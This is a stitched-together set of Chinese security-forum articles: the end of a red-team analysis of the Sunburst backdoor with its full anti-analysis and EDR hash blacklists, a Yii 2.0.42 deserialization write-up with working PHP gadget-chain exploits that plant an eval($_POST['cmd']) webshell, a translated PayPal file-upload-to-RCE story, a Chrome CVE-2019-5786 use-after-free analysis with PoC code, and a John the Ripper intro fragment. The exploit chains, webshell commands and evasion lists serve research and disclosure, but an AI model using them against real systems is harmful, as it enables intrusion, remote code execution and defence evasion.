domain name part GUID (0x2956497EB4DD0BF9) offset 35 = ov
r8stkst71ebqgj66ervisu10bdohu0gt.appsync-api.us-west-2.avsvmcloud.com
domain name part GUID (0x683D2C991E01711D) offset 0 = central.pima.g
ulfmcf44qd58t9e82w.appsync-api.us-west-2.avsvmcloud.com
domain name part GUID (0x683D2C991E01711D) offset 35 = ov
617stsr6ntep0auho2v60be2h.appsync-api.us-east-2.avsvmcloud.com
domain name part GUID (0x92EB3D64B8A03CB) offset 35 = ions.com
由此可见相同GUID可以作为域名长度过长时进行分割的子串，逆向拼接即可形成完整的域名。
# 总结
本文从红队的视角分析了Sunburst后门中的TTPs，其后门实现逻辑可以看出攻击者把安全隐蔽(OpSec)放在了第一位，虽然其中很多技术是恶意软件本身的技巧，但是涉及的一些思想和TTPs对红队建设仍有很大参考价值，也透露出现阶段红队技巧和第一梯队APT组织实战攻击技巧的差距。红队行动首先就要制定策略，是隐蔽优先还是速度优先。但是无论哪种策略，OpSec始终是红队人员的必修课。
# 附：Sunburst环境检测阶段的黑名单
## 域名黑名单
|
---|---
HASH | 归属地
---|---
1109067043404435916UL | 'swdev.local'(SolarWinds本地设备)
15267980678929160412UL | 'swdev.dmz'(SolarWinds Development DMZ)
8381292265993977266UL | 'lab.local'(本地实验室)
3796405623695665524UL | 'lab.na'(SolarWinds 北美办公室)
4578480846255629462UL | 'lab.brno'(SolarWinds Brno 办公室)
8727477769544302060UL | 'emea.sales'(EMEA Sales)
10734127004244879770UL | 'cork.lab'(SolarWinds Cork 办公室)
11073283311104541690UL | 'dev.local'(Development)
4030236413975199654UL | 'dmz.local'(Demilitarized Zone)
7701683279824397773UL | 'pci.local'(PCI)
5132256620104998637UL | 'saas.swi'(SaaS SolarWinds)
5942282052525294911UL | 'lab.rio'(SolarWinds Rio办公室)
16858955978146406642UL | 'pac.lab'(SolarWinds APAC 办公室)
## 进程黑名单
HASH | 软件名称
---|---
2597124982561782591UL | apimonitor-x64 (Rohitab病毒分析软件)
2600364143812063535UL | apimonitor-x86 (Rohitab病毒分析软件)
13464308873961738403UL | autopsy64 (AutopsyForensics)
4821863173800309721UL | autopsy (AutopsyForensics)
12969190449276002545UL | autoruns64 (Autoruns病毒分析软件)
3320026265773918739UL | autoruns (Autoruns病毒分析软件)
12094027092655598256U | L | autorunsc64 (Autoruns病毒分析软件)
10657751674541025650UL | autorunsc (Autoruns病毒分析软件)
11913842725949116895UL | binaryninja (Binary Ninja病毒分析软件)
5449730069165757263UL | blacklight (BlacklightForensics)
292198192373389586UL | cff explorer (NTCore Explorer Suite病毒分析软件)
12790084614253405985UL | cutter (Rizin Cutter病毒分析软件)
5219431737322569038UL | de4dot (de4dotForensics)
15535773470978271326UL | debugview (DebugView病毒分析软件)
7810436520414958497UL | diskmon (DiskMon病毒分析软件)
13316211011159594063UL | dnsd (Symantec反病毒)
13825071784440082496UL | dnspy (dnSpy病毒分析软件)
14480775929210717493UL | dotpeek32 (dotPeek病毒分析软件)
14482658293117931546UL | dotpeek64 (dotPeek病毒分析软件)
8473756179280619170UL | dumpcap (Wireshark病毒分析软件)
3778500091710709090UL | evidence center (Belkasoft Evidence CenterForensics)
8799118153397725683UL | exeinfope (Exeinfo PE病毒分析软件)
12027963942392743532UL | fakedns (fakedns (iDefense)病毒分析软件)
576626207276463000UL | fakenet (fakenet病毒分析软件)
7412338704062093516UL | ffdec (Free Flash Decompiler病毒分析软件) |
682250828679635420UL | fiddler (Fiddler病毒分析软件)
13014156621614176974UL | fileinsight (McAfee病毒分析软件)
18150909006539876521UL | floss (FireEye病毒分析软件)
10336842116636872171UL | gdb (gdb病毒分析软件)
12785322942775634499UL | hie | w32demo (Hiew病毒分析软件) |
13260224381505715848UL | hiew32 (Hiew病毒分析软件)
17956969551821596225UL | hollows_hunter (hollows hunter病毒分析软件)
8709004393777297355UL | idaq64 (IDA病毒分析软件)
14256853800858727521UL | idaq (IDA病毒分析软件)
8129411991672431889UL | idr (InsightDR?病毒分析软件) |
15997665423159927228UL | ildasm (IL Disassembler病毒分析软件)
10829648878147112121UL | ilspy (ILSpy病毒分析软件)
9149947745824492274UL | jd-gui (Java Decompiler病毒分析软件)
3656637464651387014UL | lordpe (LordPE病毒分析软件)
3575761800716667678UL | officemalscanner (Officemalscanner病毒分析软件)
4501656691368064027UL | ollydbg (OllyDbg病毒分析软件)
10296494671777307979UL | pdfstreamdumper (PDFStreamDumper病毒分析软件)
14630721578341374856UL | pe-bear (PE-bear病毒分析软件)
4088976323439621041UL | peb | rowse64 (Pebrowser病毒分析软件)
9531326785919727076UL | peid (PeiD病毒分析软件)
6461429591783621719UL | pe-sieve32 (PE-sieve病毒分析软件)
6508141243778577344UL | pe-sieve64 (PE-sieve病毒分析软件)
10235971842993272939UL | pestudio (pestudio病毒分析软件)
2478231962306073784UL | peview (Peview病毒分析软件)
9903758755917170407UL | pexplorer (Pexplorer病毒分析软件)
14710585101020280896UL | ppee (PPEE病毒分析软件)
14710585101020280896UL | ppee (PPEE病毒分析软件)
13611814135072561278UL | procdump64 (ProcDump病毒分析软件)
2810460305047003196UL | procdump (ProcDump病毒分析软件)
2032008861530788751UL | processhacker (Process Hacker病毒分析软件)
27407921587843457UL | procexp64 (Process Explorer病毒分析软件)
6491986958834001955UL | procexp (Process Explorer病毒分析软件)
2128122064571842954UL | procmon (ProcMon病毒分析软件)
10484659978517092504UL | prodiscoverbasic (ProDiscoveryForensics)
8478833628889826985UL | py2exedecompiler (Py2ExeDecompiler病毒分析软件)
10463926208560207521UL | r2agent (Radare2病毒分析软件)
7080175711202577138UL | rabin2 (Radare2病毒分析软件)
8697424601205169055UL | radare2 (Radare2病毒分析软件)
7775177810774851294UL | ramcapture64 (Ram CapturerForensics)
16130138450758310172UL | ramcapture (Ram CapturerForensics)
506634811745884560UL | reflector (Red Gate Reflector病毒分析软件)
18294908219222222902UL | regmon (RegMon病毒分析软件)
3588624367609827560UL | resourcehacker (Resource Hacker病毒分析软件)
9555688264681862794UL | retdec-ar-extractor (Avast RetDec病毒分析软件)
5415426428750045503UL | retdec-bin2llvmir (Avast RetDec病毒分析软件)
3642525650883269872UL | retdec-bin2pat (Avast RetDec病毒分析软件)
13135068273077306806UL | retdec-config (Avast RetDec病毒分析软件)
3769837838875367802UL | retd | ec-fileinfo (Avast RetDec病毒分析软件)
191060519014405309UL | retdec-getsig (Avast RetDec病毒分析软件)
1682585410644922036UL | retdec-idr2pat (Avast RetDec病毒分析软件)
7878537243757499832UL | retdec-llvmir2hll (Avast RetDec病毒分析软件)
13799353263187722717UL | retdec-macho-extractor (Avast RetDec病毒分析软件)
1367627386496056834UL | retdec-pat2yara (Avast RetDec病毒分析软件)
12574535824074203265UL | retdec-stacofin (Avast RetDec病毒分析软件)
16990567851129491937UL | retdec-unpacker (Avast RetDec病毒分析软件)
8994091295115840290UL | retdec-yarac (Avast RetDec病毒分析软件)
13876356431472225791UL | rundotnetdll (RunDotNetDLL病毒分析软件)
14968320160131875803UL | sbiesvc (Sandbox的IE虚拟化/容易)
14868920869169964081UL | scdbg (SCDBG病毒分析软件)
106672141413120087UL | scylla_x64 (Scylla病毒分析软件)
79089792725215063UL | scylla_x86 (Scylla病毒分析软件)
5614586596107908838UL | shellcode_launcher (Shellcode Launcher病毒分析软件)
3869935012404164040UL | solarwindsdiagnostics (SolarWindsdev/test)
3538022140597504361UL | sysmon64 (SysmonEDR)
14111374107076822891UL | sysmon (SysmonEDR)
7982848972385914508UL | task explorer (Task Explorer病毒分析软件)
8760312338504300643UL | task explorer-64 (Task Explorer病毒分析软件)
17351543633914244545UL | tcpdump (tcpdump病毒分析软件)
7516148236133302073UL | tcpvcon (TCPView病毒分析软件)
15114163911481793350UL | tcpview (TCPView病毒分析软件)
15457732070353984570UL | vboxservice (VirtualBox虚拟化/容易)
16292685861617888592UL | win32_remote (IDA病毒分析软件)
10374841591685794123UL | win64_remotex64 (IDA病毒分析软件)
3045986759481489935UL | windbg (WinDbg (Microsoft)病毒分析软件)
17109238199226571972UL | windump (WinPcap WinDump病毒分析软件)
6827032273910657891UL | winhex64 (WinHex病毒分析软件)
5945487981219695001UL | winhex (WinHex病毒分析软件)
8052533790968282297UL | winobj (WinObj病毒分析软件)
17574002783607647274UL | wireshark (Wireshark病毒分析软件)
3341747963119755850UL | x32dbg (x64dbg病毒分析软件)
14193859431895170587UL | x64dbg (x64dbg病毒分析软件)
17439059603042731363UL | xwforensics64 (X-Ways Forensics病毒分析软件)
17683972236092287897UL | xwforensics (X-Ways Forensics病毒分析软件)
700598796416086955UL | redcloak (Red Cloak / SecureWorksEDR)
3660705254426876796UL | avgsvc (AVG反病毒)
12709986806548166638UL | avgui (AVG反病毒)
3890794756780010537UL | avgsvca (AVG反病毒)
2797129108883749491UL | avgidsagent (AVG反病毒)
3890769468012566366UL | avgsvcx (AVG反病毒)
14095938998438966337UL | avgwdsvcx (AVG反病毒)
11109294216876344399UL | avgadminclientservice (AVG反病毒)
1368907909245890092UL | afwserv (Avast反病毒)
11818825521849580123UL | avastui (Avast反病毒)
8146185202538899243UL | avastsvc (Avast反病毒)
2934149816356927366UL | aswidsagent (Avast/AVG反病毒)
13029357933491444455UL | aswidsagenta (Avast/AVG反病毒)
6195833633417633900UL | aswengsrv (Avast/AVG反病毒)
2760663353550280147UL | avastavwrapper (Avast反病毒)
16423314183614230717UL | bccavsvc (Avast反病毒)
2532538262737333146UL | psanhost (熊猫安全EDR)
4454255944391929578UL | psuaservice (熊猫安全EDR)
6088115528707848728UL | psuamain (熊猫安全EDR)
13611051401579634621UL | avp (卡巴斯基反病毒)
18147627057830191163UL | avpui (卡巴斯基反病毒)
17633734304611248415UL | ksde (卡巴斯基EDR)
13581776705111912829UL | ksdeui (卡巴斯基EDR)
7175363135479931834UL | tanium (TaniumEDR)
3178468437029279937UL | taniumclient (TaniumEDR)
13599785766252827703UL | taniumdetectengine (TaniumEDR)
6180361713414290679UL | taniumendpointindex (TaniumEDR)
8612208440357175863UL | taniumtracecli (TaniumEDR)
8408095252303317471UL | taniumtracewebsocketclient64 (TaniumEDR)
## 驱动HASH黑名单
HASH | 驱动名称
---|---
17097380490166623672UL | cybkerneltracker.sys (CyberArk)
15194901817027173566UL | atrsdfw.sys (Altiris / Symantec)
12718416789200275332UL | eaw.sys (Raytheon Cyber Solutions)
18392881921099771407UL | rvsavd.sys (OPSWAT / CJSC Returnil)
3626142665768487764UL | dgdmk.sys (Verdasys)
12343334044036541897UL | sentinelmonitor.sys (SentinelOne)
397780960855462669UL | hexisfsmonitor.sys (Hexis Cyber Solutions)
6943102301517884811UL | groundling32.sys (Dell Secureworks)
13544031715334011032UL|groundling64.sys (Dell Secureworks)|
|11801746708619571308UL|safe-agent.sys (SAFE-Cyberdefense)
|18159703063075866524UL|crexecprev.sys (Cybereason)|
|835151375515278827UL|psepfilter.sys (Absolute Software)|
|16570804352575357627UL|cve.sys (Absolute Software Corp.)
|1614465773938842903UL|brfilter.sys (Bromium - App allowlisting)|
|12679195163651834776UL|brcow_x_x_x_x.sys (Bromium - App allowlisting)|
|2717025511528702475UL|lragentmf.sys (LogRhythm)|
|17984632978012874803UL|libwamf.sys (OPSWAT development)|
## 服务HASH黑名单
HASH | 安全厂商名称
---|---
11385275378891906608UL | carbonblack (Carbon Black - App allowlisting)
13693525876560827283UL | carbonblackk (Carbon Black - App allowlisting)
17849680105131524334UL | cbcomms (Carbon Black - App allowlisting)
18246404330670877335UL | cbstream (Carbon Black - App allowlisting)
8698326794961817906UL | csfalconservice (Crowdstrike Falcon - EDR)
9061219083560670602UL | csfalconcontainer (Crowdstrike Falcon - EDR)
11771945869106552231UL | csagent (Crowdstrike - EDR)
9234894663364701749UL | csdevicecontrol (Crowdstrike - EDR)
8698326794961817906UL | csfalconservice (Crowdstrike Falcon - EDR)
15695338751700748390UL | xagt (FireEye - EDR)
640589622539783622UL | xagtnotif (FireEye - EDR)
15695338751700748390UL | xagt (FireEye - EDR)
9384605490088500348UL | fe_avk (FireEye - EDR)
6274014997237900919UL | fekern (FireEye - Forensics) |
15092207615430402812UL | feelam (ESET - EDR)
3320767229281015341UL | fewscservice (FireEye - Forensics)
3200333496547938354UL | ekrn (ESET - EDR)
14513577387099045298UL | eguiproxy (ESET - EDR)
607197993339007484UL | egui (ESET - EDR)
15587050164583443069UL | eamonm (ESET - EDR)
9559632696372799208UL | eelam (ESET - EDR)
4931721628717906635UL | ehdrv (ESET - EDR)
3200333496547938354UL | ekrn (ESET - EDR)
2589926981877829912UL | ekrnepfw (ESET - EDR)
17997967489723066537UL | epfwwfp (ESET - EDR)
14079676299181301772UL | ekbdflt (ESET - EDR)
17939405613729073960UL | epfw (ESET - EDR)
521157249538507889UL | fsgk32st (F-Secure - EDR)
14971809093655817917UL | fswebuid (F-Secure - EDR)
10545868833523019926UL | fsgk32 (F-Secure - EDR)
15039834196857999838UL | fsma32 (F-Secure - EDR)
14055243717250701608UL | fssm32 (F-Secure - EDR)
5587557070429522647UL | fnrb32 (F-Secure - EDR)
12445177985737237804UL | fsaua (F-Secure - EDR)
17978774977754553159UL | fsorsp (F-Secure ORSP - EDR)
17017923349298346219UL | fsav32 (F-Secure - EDR)
17624147599670377042UL | f-secure gatekeeper handler starter (F-Secure - EDR)
16066651430762394116UL|f-secure network request broker (F-Secure - EDR)|
|13655261125244647696UL|f-secure webui daemon (F-Secure - EDR)|
|12445177985737237804UL|fsaua (F-Secure - EDR)|
|3421213182954201407UL|fsma (F-Secure - EDR)|
|14243671177281069512UL|fsorspclient (F-Secure ORSP - EDR)|
|16112751343173365533UL|f-secure gatekeeper (F-Secure - EDR)|
|3425260965299690882UL|f-secure hips (F-Secure - EDR)|
|9333057603143916814UL|fsbts (F-Secure - EDR)|
|3413886037471417852UL|fsni (F-Secure - EDR)|
|7315838824213522000UL|fsvista (F-Secure - EDR)|
|13783346438774742614UL|f-secure filter (F-Secure - EDR)
2380224015317016190UL|f-secure recognizer (F-Secure - EDR)|
|3413052607651207697UL|fses (F-Secure - EDR)|
|3407972863931386250UL|fsfw (F-Secure - EDR)
|10393903804869831898UL|fsdfw (F-Secure - EDR)|
|12445232961318634374UL|fsaus (F-Secure - EDR)
|3421197789791424393UL|fsms (F-Secure - EDR)|
|541172992193764396UL|fsdevcon (F-Secure - EDR|
# 参考文献
[1]Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise
Multiple Global Victims With Sunburst Backdoor
<https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-Sunburst-backdoor.html>
[2]Sunburst Additional Technical Details <https://www.fireeye.com/blog/threat-research/2020/12/Sunburst-additional-technical-details.html>
[3]Analyzing Solorigate, the compromised DLL file that started a sophisticated
cyberattack, and how Microsoft Defender helps protect customers
<https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/>
[4]从Solarwinds供应链攻击（金链熊）看APT行动中的隐蔽作战,
<https://mp.weixin.qq.com/s/DsFgqpQ2Gbs0j0aQaFbsYA>
[5]Sunburst Cracked, <https://github.com/ITAYC0HEN/Sunburst-Cracked>
[6]Sunburst DGA decoder, <https://github.com/2igosha/Sunburst_dga>
[7]Living Off The Land Binaries and Scripts (and also Libraries)
<https://lolbas-project.github.io/>
[8]Bring Your Own Land (BYOL) – A Novel Red Teaming Technique
<https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html>
[9]ProcessColor.cna
<https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10>
[10]Seatbelt InterestingProcessesCommand
<https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Commands/Windows/InterestingProcessesCommand.cs>
[11]Sliver <https://github.com/BishopFox/sliver> | 社区文章 |
## yii 2.0.42 最新反序列化利用全集
## 漏洞挖掘
### 第一条链子
全局搜索 `__destruct`
其他利用都存在 `__wakeup` 方法，直接抛出异常导致无法利用。
会遍历 `$this->processes`
那么这里的 `$process` 就可控
全局搜索 `__call`方法
此处的 `$this->generator` 可控，那么我们就可以调用任意类的方法，但此处的 `$name` 是不可控的，所以此处仅仅可以再次触发
`__call`，但是！
注意`do-while` 语句 的判断条件，
有一次调用 `call_user_func` 函数，且第一个参数可控， 只要解决 `$res` 就OK了。结合上面，找其他的`__call` 方法
这里返回内容完全可控，也就意味着我们的 `$res` 也已经拿捏了。
可以RCE 了。还有注意的点是 `$this->maxRetries`
的值设小一点，执行个几次就行了。我看有人设了9999999，哈哈哈哈，当时我电脑疯狂弹计算器。
### 第二条链子
我将目标转向他，也就是我打断点的地方。
寻找可利用的 `reveal`方法
类中本身存在一个，
继续找 `getInstance`;
找到一个同前面属性名相同的类，
全都可控，看着非常舒服，继续找`double`
传入此处的 `$class` 和 `$interfaces`参数 必须是一个 `ReflectionClass` 类的对象
和对象数组，后面构造的时候要注意。
看似下面有利用反射来实例化类，但并不能利用的。
我只能继续看向 `createDoubleClass`方法
看似 `$name` 和 `$node` 不太可控，但是注意 第一条链子那个 返回值 可控的 `__call` 方法，继续将的
`namer，mirror，patches` 实例化为对象，就可以控制 `$name` 和 `$node` 的值，以及绕过`foreach`，寻找可利用的
`create` 方法
正正好好？！
继续用那个 `__call` 然后 `$code` 也可控。
注意一下 这里 `$class` ， 需要 `Node\ClassNode` 类的对象，也就是当前命名空间`\Node\` 的`ClassNode` 。
#### exp
<?php
namespace Codeception\Extension{
use Prophecy\Prophecy\ObjectProphecy;
class RunProcess{
private $processes = [];
public function __construct(){
$a = new ObjectProphecy('1');
$this->processes[]=new ObjectProphecy($a);
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Prophecy\Prophecy{
use Prophecy\Doubler\LazyDouble;
class ObjectProphecy{
private $lazyDouble;
private $revealer;
public function __construct($a){
$this->revealer=$a;//一个调用自己的对象
$this->lazyDouble=new lazyDouble();
}
}
}
namespace Prophecy\Doubler{
use Prophecy\Doubler\Doubler;
class LazyDouble
{
private $doubler;
private $class;
private $interfaces;
private $arguments;
private $double=null;
public function __construct(){
$this->doubler = new Doubler();
$this->arguments=array('jiang'=>'jiang');
$this->class=new \ReflectionClass('Exception');
$this->interfaces[]=new \ReflectionClass('Exception');
}
}
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default)
{
$this->default = $default;
}
}
}
namespace Prophecy\Doubler\Generator\Node{
class ClassNode{}
}
namespace Prophecy\Doubler{
use Faker\DefaultGenerator;
use Prophecy\Doubler\Generator\ClassCreator;
use Prophecy\Doubler\Generator\Node\ClassNode;
class Doubler{
private $namer;
private $mirror;
private $patches;
private $creator;
public function __construct(){
$name='jiang';
$node=new ClassNode();
$this->namer=new DefaultGenerator($name);
$this->mirror=new DefaultGenerator($node);
$this->patches=array(new DefaultGenerator(false));
$this->creator=new ClassCreator();
}
}
}
namespace Prophecy\Doubler\Generator{
use Faker\DefaultGenerator;
class ClassCreator{
private $generator;
public function __construct(){
$this->generator=new DefaultGenerator('eval($_POST["cmd"]);');
}
}
}
注意一下攻击的时候 `cmd=system('whoami');phpinfo();`
不加`phpinfo()`的话，前面的输出会被报错掩盖掉。
### 第三条链子
继续找`__call`
这里`$res`可以控制，那么我们就可以 通过序列化一个对象触发 `__sleep` 方法
注意这里 `($this-value)()`，已经再明显不过了。
#### exp
<?php
namespace Codeception\Extension{
use Faker\UniqueGenerator;
class RunProcess{
private $processes = [];
public function __construct(){
$this->processes[]=new UniqueGenerator();
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
use Symfony\Component\String\LazyString;
class UniqueGenerator
{
protected $generator;
protected $maxRetries;
public function __construct()
{
$a = new LazyString();
$this->generator = new DefaultGenerator($a);
$this->maxRetries = 2;
}
}
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Symfony\Component\String{
class LazyString{
private $value;
public function __construct(){
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->value=$b;
}
}
}
### 第四条链子
入口依然不变，
`stopProcess` 方法中存在
利用 返回值可控的`__call` 和 字符串连接符 `.` ，将目标转向`__toString`，
在这里找到了可利用点，跟进 `rewind`
下面断点的地方又可以走向其他类中的 `rewind` 方法，
在这里可以看到很相似的调用。
跟进 `read` 方法
又要跳向其他类的 `read` 方法。
在这里找到了利用的地方，中间参数和变量的控制根据exp自行分析。
## 写在后面
其实此漏洞并不是yii的问题，此处仅做分享和学习，标题略有不恰，请见谅。因为yii的项目使用了`codeception/codeception`依赖，存在可利用的`__destruct`魔术方法，归根结底，是依赖的问题。 | 社区文章 |
# 【技术分享】看我如何黑掉PayPal的服务器：从任意文件上传到远程代码执行
|
##### 译文声明
本文是翻译文章，文章来源：pentestbegins.com
原文地址：<http://blog.pentestbegins.com/2017/07/21/hacking-into-paypal-server-remote-code-execution-2017/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
各位同学大家好，我知道大家在看到本文的标题之后肯定会忍不住点进来，在这篇文章中我将给大家描述我是怎样入侵PayPal服务器的，这是一个任意文件上传漏洞，而这个漏洞将允许我在PayPal的服务器上实现远程代码执行。
相信我，设计这个漏洞的PoC其实并不是一件多么困难的事情，唯一一件让我感到幸运的事情就是我竟然真的可以找到无法抵御这种攻击的域名。
接下来，开始我们的正题！
**漏洞的发现过程**
在之前的一篇[文章](http://blog.pentestbegins.com/2017/07/05/my-oscp-certification-journey-2017/)中，我跟大家介绍了我是如何破解OSCP证书的，整个破解过程的确非常艰难，大概花了我四个多月的时间吧…但是你懂的，不去花时间花精力挖漏洞的话，口袋里可就没钱用了。
对于一个普通人来说，周末无非就是喝酒以及各种各样的Party。运气好的可能还有个女朋友可以约约会，运气不好的估计就只能在家看电视剧了（强推一波《权力的游戏》）。
但对于我这样的人来说，我会在周末的时候看一些博客或者油管视频。有一次我找到了一些关于PayPal的文章，然后打开了Burp（关闭了拦截器）并访问了PayPal的漏洞奖励计划页面，于是我发现了如下图所示的内容：
上图显示的是我访问http://paypal.com/bugbounty/时服务器所返回的响应信息，仔细分析之后我发现了网站返回信息的响应头"Content-Security
Policy"中包含有一串PayPal的域名。其中有一个域名是https://*.paypalcorp.com，而这个域名吸引了我的注意。与之前一样，我在挖洞的时候喜欢找出目标站点尽可能多的可用子域名，因为这些子域名站点中很可能会存在一些被管理人员所忽略的安全问题。
如果要枚举目标站点的子域名，我推荐你使用Subbrute、Knockpy和enumall等工具，而且我平时也都会用到这些工具，但是我这一次偷了个懒，我直接使用了VirusTotal来枚举子域名，子域名列表信息请点击【[这里](https://www.virustotal.com/en/domain/paypalcorp.com/information/)】获取。
将子域名列表拷贝到本地文件中，然后运行命令"dig -f paypal +noall +answer"来查看每一个子域名最终所指向的服务器IP地址：
其中有一个子域名为"brandpermission.paypalcorp.com" ，它指向的是站点 https://www.paypal-brandcentral.com/。这个站点是PayPal的品牌中心，其实也是PayPal提供给厂商、供应商以及合作伙伴的一个ticket在线支持系统，他们可以在这个网站上申请与PalPal合作，然后上传自己品牌的Logo、图片或其他一些相关资料。
我相信当任何一个Bug Hunter看到网站的文件上传功能之后，眼睛都会放光吧？
于是乎，我创建了一张虚拟的ticket，然后上传了一个名叫“finished.jpg”的图片文件，系统将其以“finished__thumb.jpg”存储在了下面这个目录之中：
"/content/helpdesk/368/867/finishedthumb.jpg"
“finishedthumb.jpg”是系统在目录"/867/"中新创建的文件，吓得我赶紧去查看这个文件还是不是我之前上传的那个原始文件。幸运的是，之前上传的原始文件“finished.jpg”同样也在这个目录中。
接下来，我对这个Web应用的上传文件处理流程以及文件/文件夹的命名规则进行了深入分析，我发现上述链接中的"368"目录其实就是我们所创建的ticket编号（ID），而"867"是文件夹ID，所有与这个ticket相关的模板文件和图片等资源都会保存在这个目录下。
了解到这些东西之后，我又用同样的方法创建了另一份ticket，我发现系统用按顺序递增的方式创建了ticket
ID和文件ID。创建完成之后，这一次我选择上传一个".php"后缀名的文件，其中包含有一行命令执行脚本代码：
这一次服务器返回的响应码为302（200意味着请求成功），根据Web应用的反应来看，这意味着服务器端并没有对用户所上传的文件类型和文件内容的有效性进行验证。非常好！看来漏洞唾手可得了！
需要注意的是，如果你上传的是一个php文件，那么我们将无法查看到这个php文件在服务器端的保存路径，我们只能看到ticket编号。
**那接下来我们应该干什么呢？**
当我了解到ticket
ID为"/366/"之后，也就知道了我们所上传的文件将会保存在哪一个文件目录下。但由于我们无法像查看图片文件一样去查看之前所上传的php文件的存储位置，所以我们没有办法得知具体的文件夹ID。
我们现在所知道的是，当我们上传一个名为"example.jpg"的文件之后，服务器会在相同目录下生成一个"example_thumb.jpg"文件。那么我们如果上传的php文件名叫"success.php"的话，那么服务器是否会在相同目录下生成一个名叫"success_thumb.php"的文件呢？实验证明我们的假设没有错！而且我们还发现，最近使用的文件夹ID跟我们之前上传图片文件的文件夹ID是一样的。因此，存储了我们PoC
php命令执行代码的文件其ticket ID为"/386/"，文件ID为"867"。
为什么我不使用暴力破解攻击来获取文件夹ID呢？
于是我马上打开了我的爆破工具，并对下列请求地址进行暴力破解攻击（文件ID从500-1000）：
https://www.paypal-brandcentral.com/content/_helpdesk/366/$(爆破500-1000)$/success.php
最终文件夹ID为"865"的请求返回了200响应码。
没错，我当时的感觉就像是这样:
非常好！接下来，我们尝试一下用刚才得到的ticket ID和文件ID来运行我们的代码：
https://www.paypal-brandcentral.com/content/_helpdesk/366/865/success.php?cmd=uname-a;whoami
是的，你没看错！我好像找到了一个远程代码执行漏洞！
服务器端还托管了一个PayPal员工专用的登录页面，也许你还可以登录进去看看里面有什么，哈哈。
**漏洞披露时间轴**
2017年7月8日18时03分：提交漏洞信息
2017年7月11日18时03分：漏洞成功修复 | 社区文章 |
**作者：腾讯湛泸实验室
来源：<https://weibo.com/ttarticle/p/show?id=2309404351596157885398>**
### 0x00 背景
近期谷歌威胁分析团队（Google's Threat Analysis
Group）发现了一例野外攻击中的Chrome远程代码执行漏洞:CVE-2019-5786。攻击者利用该漏洞配合一个win32k.sys的内核提权（[CVE-2019-0808](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0808)
）可以在win7上穿越Chrome沙箱。野外利用并且带有沙箱逃逸的Chrome漏洞实属罕见，因此腾讯安全湛泸实验室在谷歌官方发布公告后针对此次攻击进行了技术还原分析。
由于微软在windows 7上并未实现win32k
Lockdown机制，因此win7系统中的Chrome沙盒并不能充分防御win32k漏洞的利用。关于此次攻击中的[CVE-2019-0808](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0808)
win32k提权（<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0808>）我们不作过多介绍，重点来探讨CVE-2019-5786这个漏洞的一些细节。
### 0x01 技术细节
根据谷歌在Chrome3月份的安全更新（<https://chromereleases.googleblog.com/2019/03/stable-channel-update-for-desktop.html>）中的描述：这是一个FileReader中的Use-after-free漏洞。
在Chrome浏览器中，FileReader 可以用来异步读取存储在用户计算机上的文件（或原始数据缓冲区）的内容，使用 File 或 Blob
对象指定要读取的文件或数据。
FileReader 有三种状态，如下图所示:
我们在github上查找这个漏洞的补丁信息如下：<https://github.com/chromium/chromium/commit/ba9748e78ec7e9c0d594e7edf7b2c07ea2a904499>
我们看补丁后的代码：在返回部分result的时候，不再直接返回`raw_data_`中的缓冲区，而是返回其拷贝。据此可以推测UAF应该是发生在这块直接返回的内存上。
通常情况下，如果我们构造以下JS片段
let arr1= new ArrayBuffer(0x1000)
let ta1 = new Uint8Array(arr1);
let ta2 = new Uint8Array(arr1);
neuter(arr1);
在上述代码中，如果ArrayBuffer
arr1被分离（detach），即arr1的所有权被转移到一个worker线程，那么该对象内部的`was_detached`标志位会被设置，后续TypedArray在使用该对象时候，会先进行检查。
BIT_FIELD_ACCESSORS(JSArrayBuffer, bit_field, was_detached,
JSArrayBuffer::WasDetachedBit)
也还要其他的操作来确保不会出现UAF，代码片段如下：
回到这个漏洞来看，
scoped_refptr<ArrayBuffer> ArrayBufferBuilder::ToArrayBuffer() {
// Fully used. Return m_buffer as-is.
if (buffer_->ByteLength() == bytes_used_)
? return buffer_;
return buffer_->Slice(0, bytes_used_);
}
`raw_data_->ToArrayBuffer()`可能会返回内部buffer的拷贝，或者是返回一个指向其内部buffer的智能指针。
ArrayBuffer应该被理解为是独占其内部的buffer的，在后一种情况下，如果已经结束加载后获取FileReader的result，`raw_data_`会被清零；然而，如果在没有完成加载的情况下，多次获取FileReader的result，Chrome会创建多个内部引用相同buffer区域的DomArrayBuffer。此时我们通过worker线程释放其中一个，就可以在主线程中造成UAF。
Poc关键代码如下:
var reader1 = new FileReader();
// …
flag = reader1.result;
flag2 = reader1.result;
abc = new Uint8Array(flag);
abc2 = new Uint8Array(flag2);
neuter(flag);
//...
abc2[0] = 1; //uaf !
以上代码即可造成ArrayBuffer非常稳定的UAF。熟悉浏览器漏洞的同行都了解ArrayBuffer的漏洞很好利用，这里不再对利用方式作进一步讨论。
### 0x02 结论
根据上文的分析可以看到CVE-2019-5786是一个非常高质量的远程代码执行漏洞。腾讯安全湛泸实验室提醒广大Chrome用户尽快将浏览器升级到官方最新版。同时，建议国内使用Chrome内核的浏览器厂商紧密关注此次更新，主动排查修复风险，保障广大用户安全。
* * * | 社区文章 |
# 摘要
John the Ripper (“JtR”)
是一个非常有用的工具。这是一个快速的密码破解器，适用于Windows和许多Linux系统。它具有很多功能，对于很多密码破解均有奇效。
